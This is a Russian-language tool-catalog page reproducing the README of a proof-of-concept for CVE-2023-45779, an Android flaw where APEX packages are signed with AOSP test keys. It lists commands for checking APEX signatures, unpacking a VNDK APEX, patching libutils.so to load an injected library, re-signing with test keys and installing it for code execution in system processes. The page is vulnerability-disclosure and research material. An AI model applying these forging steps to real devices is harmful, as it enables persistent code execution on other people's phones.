Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
rtx-cve-2023-45779 — PoC-код для уязвимости повторного использования ключей APEX в Android | Kitploit
Инструменты/GitHubGitHub/metaredteam/rtx-cve-2023-45779
Безопасность AndroidАнализ уязвимостейЭксплуатацияАнализ Бинарных ФайловБезопасность Цепочки ПоставокРазработка Полезной Нагрузки
GitHubmetaredteam/rtx-cve-2023-45779

rtx-cve-2023-45779

PoC-код для уязвимости повторного использования ключей APEX в Android

Репозиторий
10982 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

Этот репозиторий предоставляется КАК ЕСТЬ в дополнение к раскрытию уязвимости Meta Red Team X. Это не официальный проект Meta, и он не будет поддерживаться как официальный.

Набор скриптов и артефактов, демонстрирующих обнаружение и эксплуатацию Android-устройств, поставляемых с APEX, подписанными тестовыми ключами из AOSP. Полные подробности проблемы см. в нашем посте в блоге «Missing signs: как несколько брендов забыли защитить ключевую часть Android».

Файлы

  • apex-checker/: набор Bash-скриптов для сохранения дайджестов известных тестовых ключей и массовой проверки APEX на наличие подписей этими ключами.
  • apex-forger/: лёгкие обёртки вокруг инструментов apexer и deapexer из AOSP, упрощающие распаковку, изменение и переупаковку APEX. Как apktool для APEX.
  • vndk-libt/: исходный код библиотеки, которую мы добавили в уязвимый APEX, чтобы доказать возможность выполнения кода. Всё, что она делает, — выводит в logcat командную строку каждого процесса, который её загружает.

Запуск эксплойта

  1. Клонируйте свежее дерево исходников AOSP (примерно Android 13), выполните envsetup+lunch и запустите m apexer deapexer apksigner, чтобы собрать необходимые инструменты.
  2. Обновите envsetup.sh (тот, что лежит здесь, а не в AOSP), чтобы $AOSP и $ANDROID_HOST_OUT указывали на нужные пути.
  3. Возьмите любое Android-устройство. Обновите его и включите ADB.
  4. Выполните adb shell getprop ro.build.version.sdk и adb shell getprop ro.vndk.version.
  5. Если оба значения совпадают, выполните adb pull /system/apex/com.android.vndk.current.apex vndk.apex. Если нет — adb pull /system_ext/apex/com.android.vndk.v<NN>.apex vndk.apex, где <NN> — значение ro.vndk.version.
  6. Проверьте, уязвим ли APEX, с помощью apex-checker/check.sh vndk.apex. Если вывод не начинается с «OI» (что указывает на то, что и внешняя, и внутренняя подписи выполнены тестовыми ключами), этот PoC использовать нельзя (хотя это и не гарантирует безопасность устройства, поскольку другие APEX могут оставаться уязвимыми).

Тестовые ключи, известные apex-checker

Хэши в apex-checker/apk-keys.txt и apex-checker/avb-keys.txt соответствуют внешним и внутренним тестовым ключам для следующих APEX. Обратите внимание, что существуют также -goog-варианты этих двух списков, созданные Google после нашего первоначального отчёта. Эти списки в целом более полные, но мы точно не знаем, какие ключи в них содержатся.

  • com.android.appsearch
  • com.android.art
  • com.android.btservices
  • com.android.i18n
  • com.android.mediaprovider
  • com.android.ondevicepersonalization
  • com.android.permission
  • com.android.rkpd
  • com.android.runtime
  • com.android.uwb
  • com.android.virt
  • com.android.vndk.v28
  • com.android.vndk.v29
  • com.android.vndk.v30
  • com.android.vndk.v31
  • com.android.vndk.v32
  • com.android.vndk.v33
  • com.android.wifi
Скачать инструмент
  • Распакуйте APEX с помощью apex-forger/unpack.sh vndk.apex vndk.
  • Попробуйте пропатчить libutils.so в извлечённом APEX, чтобы он загружал нашу внедрённую libt.so: git apply --directory=vndk vndk-libt/libutils-v31.patch. Если это не сработает (например, другая версия VNDK), с помощью hex-редактора вручную замените libc.so на libt.so в соответствующей записи DT_NEEDED файла vndk/payload/lib64/libutils.so.
  • Соберите libt.so, запустив ndk-build внутри vndk-libt/. Скопируйте vndk-libt/libs/arm64-v8a/libt.so в vndk/payload/lib64/libt.so.
  • Извлеките canned_fs_config из apex_build_info.bp. Готового инструмента для этого нет: ближе всего подойдёт protoc --decode_raw <vndk/apex_build_info.bp с последующим ручным снятием экранирования поля #3. Поместите canned_fs_config в vndk/.
  • Добавьте в canned_fs_config строку для /lib64/libt.so, как и все остальные.
  • Скачайте тестовые ключи для соответствующей версии VNDK отсюда.
  • Переупакуйте APEX с помощью apex-forger/repack.sh vndk com.android.vndk.v<NN>.{pem,pubkey,pk8,x509.pem}.
  • Выполните adb install vndk/forged.apex.
  • Выполните adb reboot && adb logcat -s RTXPoC:D.
  • Наблюдайте в logcat множество сообщений RTXPoC — каждое из них исходит из процесса, в котором мы можем выполнять код.